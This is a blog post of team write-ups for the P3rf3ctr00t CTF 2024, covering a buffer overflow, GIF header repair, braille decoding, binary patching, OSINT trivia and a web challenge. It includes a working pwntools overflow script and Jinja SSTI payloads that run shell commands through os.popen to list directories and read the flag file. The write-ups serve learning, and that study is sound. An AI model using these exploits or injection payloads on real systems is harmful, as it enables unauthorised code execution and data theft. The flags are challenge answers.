P3rf3ctr00t CTF
P3rf3ctr00t CTF Writeups
Hey guys and welcome back to yet another blog post where we’ll be sharing our thought process on challenges solved by our team in the P3rf3ctr00t CTF 2024. This was a fun 48hr CTF organized by P3rf3ctr00t Team. Due to team size limits, we split into several teams where we scored as follows:
Team | Position |
---|---|
Pwnus | 3 |
PwnusB | 10 |
PwnusD | 43 |
This was a good start for our team being a local CTFs as first timers 😜. Anyway, with that said, lets get started.
Pwn
Flow
Description
Be like water
nc 94.72.112.248 7001
Challenge Author: Dexter
Solved by: Shol1m
File Analysis
First I started by checking the file type using file
command
1
flow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=22e8e3a51853e485e3a36c1d5f95446782c30fee, for GNU/Linux 3.2.0, not stripped
From the output, the file is an ELF 64-bit, dynamically linked, and not stripped. It is built for the x86-64 architecture. Next, I executed the binary to observe its behavior.
File Execution
Upon execution, the binary prompts for user input and exits without any notable action after supplying dummy text. This behavior suggests hidden functionality, so I disassembled the binary using Ghidra. The disassembly revealed three key functions: main
, vulnerable
, and win
.
The main
function calls the vulnerable()
function, which can call the win()
function if specific conditions are met.
Vulnerable()
The vulnerable()
function accepts user input stored in a 60-byte buffer. It does not validate the input size, leaving it susceptible to buffer overflow.
Within this function:
- A variable
local_c
is initialized to0xc
(12 in decimal). - The program compares
local_c
to0x34333231
(hexadecimal for “1234” in ASCII, or 4321 in decimal).
Under normal execution, this condition is never satisfied because local_c
is initially set to 12
. However, exploiting the buffer overflow allows us to overwrite local_c
with the target value (0x34333231
), triggering the win()
function.
win()
I proceeded to analyse the win function.
The win()
function reads the contents of flag.txt
and prints it to the screen. If the file is missing, an error message is displayed.
Exploitation
To retrieve the flag, we need to:
- Overflow the buffer.
- Overwrite
local_c
with the value0x34333231
(corresponding to the ASCII string “1234”).
Using pwntools
Here’s the Python script for the exploit using pwntools:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
def main():
host = "94.72.112.248"
port = 7001
offset = 60
target_value = 0x34333231 # Value to overwrite `local_c` ("1234" in ASCII)
# Payload
payload = b"A" * offset + p32(target_value)
try:
conn = remote(host, port)
conn.sendline(payload)
response = conn.recvall()
print(f"[+] Response:\n{response.decode().strip()}")
conn.close()
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
main()
Running the script successfully retrieves the flag:
1
2
3
4
5
6
└─$ python3 sol.py
[+] Opening connection to 94.72.112.248 on port 7001: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 94.72.112.248 port 7001
[+] Response:
Enter a text please: Your flag is - r00t{fl0w_0f_c0ntr0l_3ngag3d_7391}
Manual exploitation
To exploit manually:
- Use
pwn cyclic 60
to generate a 60-character pattern. - Append
"1234"
to create the payload:
1
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaa1234
- Send the payload to the server:
1
2
3
└─$ nc 94.72.112.248 7001
Enter a text please: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaa1234
Your flag is - r00t{fl0w_0f_c0ntr0l_3ngag3d_7391}
Flag
The retrieved flag is:
r00t{fl0w_0f_c0ntr0l_3ngag3d_7391}
In the vulnerable program, the variable
local_c
is compared against the value0x34333231
. This is the hexadecimal representation of the ASCII string"1234"
. When overwriting memory, the bytes are written in little-endian format because the system uses the x86-64 architecture, which is little-endian by default.In little-endian systems:
- The least significant byte (LSB) is stored first in memory.
- For
0x34333231
, the bytes are stored as:
1 31 32 33 34which corresponds to the ASCII characters:
1 "1" "2" "3" "4"Thus, to overwrite
local_c
with0x34333231
, the payload must contain"1234"
in the correct byte order. If we naively sent"4321"
, the bytes would be stored in reverse order (0x31323334
), which would fail to meet the condition.
Misc
tGIF
Description
TGIF, but I think I’m either rendering my file wrongly or the dimensions are just off.
Challenge Author: oste_ke
Solved by: Shol1m
File Analysis
The challenge began with a file named tgif
that did not have a recognizable file type. Running the file
command gave the following output:
1
2
└─$ file tgif
tgif: data
The file
utility could not identify the file type. This hinted that the file might have corrupted or missing magic headers.
Hexadecimal Analysis
To investigate further, I opened the file in hexedit
and examined the first few bytes. Here is part of the header:
1
2
3
00000000 47 04 46 38 39 61 90 01 C8 00 F7 00 00 00 00 00 G.F89a..........
00000010 25 1E 25 3A 31 34 3D 43 62 46 3E 48 48 35 32 4E %.%:14=CbF>HH52N
00000020 4D 65 4F 3A 34 56 4F 61 57 45 46 5A 3F 38 5E 46 MeO:4VOaWEFZ?8^F
The header did not match any known magic number for standard file types. However, parts of it (47 04 46 38 39 61
) resembled the magic header for GIF files, which should be GIF89a
. GIF Bits and Bytes guide
Correcting the Magic Header
I replaced the incorrect bytes (47 04
) with 47 49
(G
and I
) to create the proper magic header GIF89a
. This allowed the file to be recognized as a GIF image.
1
2
└─$ file tgif
tgif: GIF image data, version 89a
GIF Integrity Check
After fixing the header, I opened the GIF. It was partially corrupted—the image displayed, but it was incomplete. This suggested that some other fields in the header, such as width or height, were incorrect.
Modifying the Height
To fix the GIF, I adjusted the height value in the header. I used the online tool RedKetchup GIF Resizer to modify the height and correct the file.
Flag
After correcting the height, the GIF displayed correctly, revealing the full image showing the flag
r00t{d38252762d3d4fd229faae637fd13f4c}
See Ya
Description
You are a fan of Zines? Well here’s my fav from the 90’s 🙂, he “Hacker’s Manifesto”. Not every one will SEE it, but oh well, good luck.
Of course if you’re SEEing this, here’s the original one: https://phrack.org/issues/7/3.html
Challenge Author: oste_ke
Solved by: b33tl3
Analysis
“Zines are self-published magazines”
From the description, it seems to be a “Hacker’s Manifesto” but encrypted:- “Not every one will SEE it, but oh well, good luck”. We a given a text file, Volume_One_Issue_7_Phile_3_of_10.txt.
Let’s read the file using ‘cat’ command.
On reading the file, we see that it is some braille text. We should decode the braille text to readable text.
Solution
Time to do some baking using CyberChef. We can either use CyberChef or dcode. Let’s copy the text and paste it in CyberChef.
We will use ‘From Braille’ as the recipe.
Now we have readable text. Let’s read through the Manifesto.
We find the flag hidden in the text.
Boom! Another flag down!
Rev
Pores
Description
P3rf3ctr00t is locked, hidden in the depths of a binary, waiting for a hero to rewrite its fate.
Challenge Author: Ug_pwn
Solved by: Shol1m
File inspection
First i started by determining the file type. The file is a linux 64-bit elf file.
1
2
file poresssss
poresssss: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d0a124b3a218c26eb707783fa5f3dc7f0763de88, for GNU/Linux 3.2.0, not stripped
Analysis using Ghidra
For static analysis, I launched ghidra
and imported the binary. The binary contains two functions, main()
and printFlag()
.
the main function does nothing while the printFlag() take two parameters and calculates the flag.
Analysis with pwndbg
While Ghidra revealed the high-level structure of the binary, it did not show the critical conditional jump (jne
) preventing printFlag
from being called. This highlights the importance of dynamic analysis tools like pwndbg
for a deeper understanding.
I fired up pwndbg
with the command pwndbg poresssss
. Then disassembled main function to check whats going on there.
Well there is more than i could see with ghidra. There is a condition that prevents printflag from being called.
There is a comparison between 0
and 1
, if the two numbers are not equal, the program jumps to main +41
and printFlag is not called.
The condition (cmp DWORD PTR [rbp-0x4], 0x1
) always evaluates as not equal
because rbp-0x4
is explicitly set to 0
.
Patching the program
To make sure that the program calls the printFlag() function, a patch can be done. Instead of having an operation of jne
, a nop (no operation can be placed instead of jne
. this ensures that the instruction between main +21
to main +36
are executed.
To patch the program we have to replace jne
with nop
.
First set a break point at main with the comand break *main
then run the binary.
Disassemble main to check the adresses at runtime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> disass main
Dump of assembler code for function main:
=> 0x0000555555555298 <+0>: push rbp
0x0000555555555299 <+1>: mov rbp,rsp
0x000055555555529c <+4>: sub rsp,0x10
0x00005555555552a0 <+8>: mov DWORD PTR [rbp-0x4],0x0
0x00005555555552a7 <+15>: cmp DWORD PTR [rbp-0x4],0x1
0x00005555555552ab <+19>: jne 0x5555555552c1 <main+41>
0x00005555555552ad <+21>: mov esi,0x8
0x00005555555552b2 <+26>: lea rax,[rip+0x2d87] # 0x555555558040 <flag>
0x00005555555552b9 <+33>: mov rdi,rax
0x00005555555552bc <+36>: call 0x555555555159 <printFlag>
0x00005555555552c1 <+41>: mov eax,0x0
0x00005555555552c6 <+46>: leave
0x00005555555552c7 <+47>: ret
End of assembler dump.
pwndbg>
This can be done by changing the address 0x00005555555552ab
and 0x00005555555552ac
to 0x90
which is nop.
Two addresses are modified since jne
used two bytes of memory for that instruction. Both bytes need to be replaced to avoid leaving stray bytes from the original instruction, which could corrupt the execution flow and cause a crash.
1
2
set {char} 0x00005555555552ab = 0x90
set {char} 0x00005555555552ab = 0x90
To verify, disasseble main again. This is necessary to ensure the patch is correctly applied before continuing
The continue the program with the command continue
1
2
3
Continuing.
r00t{p4tch_th3_bin_and_h4ve_fun}
[Inferior 1 (process 12780) exited normally]
Key Takeaways
- Dynamic Analysis Complements Static Analysis: While tools like Ghidra provide a high-level view of a binary, dynamic debugging with
pwndbg
uncovers critical details like conditional jumps and runtime behavior, making it essential for identifying patching opportunities. - Patching with NOP Simplifies Control Flow: Replacing conditional jumps (
jne
) withNOP
is an effective way to bypass checks, allowing the program to execute blocked code segments likeprintFlag()
.
Web
template_me
Description
Do not fuzz the infra, it is unethical
Access the instance at :
1
http://94.72.112.248:10010/
Challenge Author: f0rk3b0mb
Solved by: Mystique
First step was to create an account and log in
Next, we check if this site is vulnerable to SSTI
(Server-Side Template Injection) using the following payload.
1
http://94.72.112.248:10010/dashboard?username={{7*7}}
It returns a value of 49, showing that the site is indeed vulnerable to SSTI.
We the proceed to the github directory “PayloadAllThings” where we find the following python payload.
1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
So we proceed to apply it after URL encoding it on CyberChef. We are able to run the id command successfully.
1
http://94.72.112.248:10010/dashboard?username={{%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27id%27).read()%20}}
We can modify it to list files in the current directory:
1
http://94.72.112.248:10010/dashboard?username={{%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27ls%27).read()%20}}
We don’t get anything important. So we proceed to list files in the root directory. Here, we can see a file called flag8c77374df5.txt
. This is our flag file.
1
http://94.72.112.248:10010/dashboard?username=%7B%7B%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27ls%20%20/%27).read()%20%7D%7D
So we now modify the payload to show the contents of that flag file. We get our flag.
1
http://94.72.112.248:10010/dashboard?username={{%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20/flag8c77374df5.txt%27).read()%20}}
r00t{5923df1bc0af185e7fb2ce7a7}
OSINT
Grandpas
Description
We lay the groundwork for blockchain. Hope you know our names. Flag format r00t{Xxxxx_Xxxxxxx_Xxxxx} xxxxx is the last name.
Challenge Author: c0deg33k
Solved by: m3tadr0id
Initial Thoughts
At first glance, this challenge seems to be a history lesson on blockchain. Spoiler alert: it’s not about Satoshi Nakamoto. Time to dig into the foundations of this revolutionary technology and find the real “grandpas” behind the scenes.
Solution
Reconnaissance
I started by checking the Wikipedia page for blockchain, which seemed like the most obvious source. Sure enough, the first section mentioned the key contributors.Analysis
- Stuart Haber and W. Scott Stornetta introduced the concept of a secure chain of blocks in 1991.
- In 1992, Dave Bayer joined the team to enhance the design, completing the blockchain pioneers’ trio.
- These three are widely credited with laying the foundations of what would later become blockchain technology.
r00t{Haber_Stornetta_Bayer}
Adversary Within - Part 1
Description
Each and every one of you has interacted with and, perhaps unknowingly, exploited me by using “……roasts.” Well, I can’t blame you—as the backbone connecting users and resources in every environment, I’m everywhere, supporting every interaction. But do you truly understand what makes me tick?
I challenge you to explore my inner workings and answer this: Do you really know me?
Q1: What are my rules called?
Challenge Author: He who must not be named
Solved by: m3tadr0id
Initial Thoughts
The description clearly points to something foundational in IT infrastructure, likely Active Directory (AD), given its role as the “backbone” of user and resource interaction in environments as with the rest of the Adversary within series.
Solution
Research and Reconnaissance
I started by focusing on the hint that these “rules” are what make AD “tick.” Searching Microsoft’s documentation on Active Directory led me to this article on AD basics. It explained the core components of AD, including the schema, which defines the “rules” for how data is stored and accessed.Analysis
The schema in Active Directory is essentially the blueprint that governs every interaction within the directory. It defines object classes, attributes, and their relationships—basically, the “rules” of the AD game.
r00t{schema}
Adversary Within - Part 2
Description
Sometimes I lose weight to work as a protocol, Get it?
Challenge Author: He who must not be named
Solved by: m3tadr0id
Initial Thoughts
The clue about “losing weight” and “working as a protocol” pointed towards a lightweight protocol. Considering the Active Directory theme, the Lightweight Directory Access Protocol (LDAP) seemed like a perfect fit.
Solution
LDAP is a lightweight protocol that allows access and management of directory information. It’s a critical part of Active Directory as it provides the means to query and modify directory services. The “losing weight” hint cleverly refers to its “lightweight” nature.
r00t{Lightweight_Directory_Access_Protocol}
Adversary Within - Part 3
Description
In as much as I am everywhere, I also need a brain, yet you have to set me up! What do you usually call me?
Challenge Author: He who must not be named
Solved by: m3tadr0id
Solution
The challenge hints at a critical component of Active Directory (AD) that acts as its “brain.” In AD environments, the “brain” responsible for managing authentication, group policies, and more is the Domain Controller (DC). It’s the central nervous system of any AD setup—crucial to operations and always requiring proper configuration.
r00t{Domain Controller}
Adversary Within - Part 4
Description
Now that you know my name, what new platform can I run on?
Challenge Author: He who must not be named
Solved by: m3tadr0id
Solution
This question follows up on the previous one, referring to the Domain Controller. Traditionally, DCs run on Windows Server. With Active Directory continually evolving, the hint points towards the next iteration of Windows Server: Windows Server 2025, which is likely the platform being teased.
r00t{Windows_Server_2025}
More Writeups
More writeups on challenges created by our members oste_ke & winter can be found on their blogs.
SheetsNLayers - Flag 1 |
---|
See Ya |
Dive |
SheetsNLayers - Flag 2 |
SheetsNLayers - Flag 3 |
SheetsNLayers - Flag 4 |
tGIF |
YAZ (Yet Another Zine) |
Calm Belt |
WordStress |
Marineford Degree |
Comments powered by Disqus.